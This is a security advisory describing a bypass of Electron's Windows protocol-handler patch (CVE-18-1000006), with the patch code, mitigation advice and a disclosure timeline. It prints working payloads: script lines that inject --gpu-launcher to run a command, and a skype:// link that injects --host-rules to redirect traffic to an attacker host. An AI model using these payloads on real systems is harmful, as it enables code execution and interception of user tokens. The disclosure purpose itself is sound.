Electron Windows Protocol Handler MITM/RCE (bypass for CVE-18-1000006 fix)
25.5.18 securityaffairs Vulnerebility
As part of an engagement for one of our clients, we analyzed the patch for the recent Electron Windows Protocol handler RCE bug (CVE-18-1000006) and identified a bypass.
Under certain circumstances, this bypass leads to session hijacking and remote code execution. The vulnerability is triggered by simply visiting a web page through a browser. Electron apps designed to run on Windows that register themselves as the default handler for a protocol and do not prepend dash-dash in the registry entry are affected.
We reported the issue to the Electron core team (via security@electronjs.org) on May 14, 18, and received immediate notification that they were already working on a patch. The issue was also reported by Google’s Nicolas Ruff a few days earlier.
CVE-18-1000006
On January 22, 18, Electron released a patch for v1.7.11, v1.6.16 and v1.8.2-beta4 for a critical vulnerability known as CVE-18-1000006 (surprisingly no fancy name here) affecting Electron-based applications running on Windows that register custom protocol handlers.
The original issue was extensively discussed in many blog posts, and can be summarized as the ability to use custom protocol handlers (e.g. myapp://) from a remote web page to piggyback command line arguments and insert a new switch that Electron/Chromium/Node would recognize and execute while launching the application.
<script>
win.location = 'myapp://foobar" --gpu-launcher="cmd c/ start calc" --foobar='
</script>
Interestingly, on January 31, 18, Electron v1.7.12, v1.6.17 and v1.8.2-beta5 were released. It turned out that the initial patch did not take into account uppercase characters and led to a bypass in the previous patch with:
<script>
win.location = 'myapp://foobar" --GPU-launcher="cmd c/ start calc" --foobar='
</script>
Understanding the patch
The patch for CVE-18-1000006 is implemented in electron/atom/app/command_line_args.cc and consists of a validation mechanism which ensures users won’t be able to include Electron/Chromium/Node arguments after an url (the specific protocol handler). Bear in mind some locally executed applications do require the ability to pass custom arguments.
bool CheckCommandLineArguments(int argc, base::CommandLine::CharType** argv) {
DCHECK(std::is_sorted(std::begin(kBlacklist), std::end(kBlacklist),
[](const char* a, const char* b) {
return base::StringPiece(a) < base::StringPiece(b);
}))
<< "The kBlacklist must be in sorted order";
DCHECK(std::binary_search(std::begin(kBlacklist), std::end(kBlacklist),
base::StringPiece("inspect")))
<< "Remember to add Node command line flags to kBlacklist";
const base::CommandLine::StringType dashdash(2, '-');
bool block_blacklisted_args = false;
for (int i = 0; i < argc; ++i) {
if (argv[i] == dashdash)
break;
if (block_blacklisted_args) {
if (IsBlacklistedArg(argv[i]))
return false;
} else if (IsUrlArg(argv[i])) {
block_blacklisted_args = true;
}
}
return true;
}
As is commonly seen, blacklist-based validation is prone to errors and omissions especially in complex execution environments such as Electron:
The patch relies on a static blacklist of available chromium flags. On each libchromiumcontent update the Electron team must remember to update the command_line_args.cc file in order to make sure the blacklist is aligned with the current implementation of Chromium/v8
The blacklist is implemented using a binary search. Valid flags could be missed by the check if the list is not properly sorted
Bypass and security implications
We started looking for missed flags and noticed that host-rules were absent from the blacklist. With this flag, one may specify a set of rules to rewrite domain names for requests issued by libchroumiumcontent. This immediately sticks out as a good candidate for subverting the process.
In fact, an attacker can exploit this issue by overriding the host definitions in order to perform completely transparent Man-In-The-Middle:
<!doctype html>
<script>
window.location = 'skype://user?userinfo" --host-rules="MAP * evil.doyensec.com" --foobar='
</script>
When a user visits a web page in a browser containing the preceding code, the Skype app will be launched and all Chromium traffic will be forwarded to evil.doyensec.com instead of the original domain. Since the connection is made to the attacker-controlled host, certificate validation does not help as demonstrated in the following video:
https://blog.doyensec.com/public/images/skypeelectronbugpoc.mp4
We analyzed the impact of this vulnerability on popular Electron-based apps and developed working proofs-of-concept for both MITM and RCE attacks. While the immediate implication is that an attacker can obtain confidential data (e.g. oOAuthtokens), this issue can be also abused to inject malicious HTML responses containing XSS -> RCE payloads. With
nodeIntegration
enabled, this is simply achieved by leveraging Node’s APIs. When encountering application sandboxing via nodeIntegration: false or sandbox, it is necessary to chain this with other bugs (e.g. nodeIntegration bypass or IPC abuses).
Please note it is only possible to intercept traffic generated by Chromium, and not Node. For this reason, Electron’s update feature, along with other critical functions, are not affected by this vulnerability.
Future
On May 16, 18, Electron released a new update containing an improved version of the blacklist for v2.0.1, v1.8.7, and v1.7.15. The team is actively working on a more resilient solution to prevent further bypasses. Considering that the API change may potentially break existing apps, it makes sense to see this security improvement within a major release.
In the meantime, Electron application developers are recommended to enforce a dash-dash notation in
setAsDefaultProtocolClient
app.setAsDefaultProtocolClient(protocol, process.execPath, [
'--your-switches-here',
'--'
])
or in the Windows protocol handler registry entry
As a final remark, we would like to thank the entire Electron team for their work on moving to a secure-by-default framework. Electron contributors are tasked with the non-trivial mission of closing the web-native desktop gap. Modern browsers are enforcing numerous security mechanisms to ensure isolation between sites, facilitate web security protections and prevent untrusted remote content from compromising the security of the host. When working with Electron, things get even more complicated.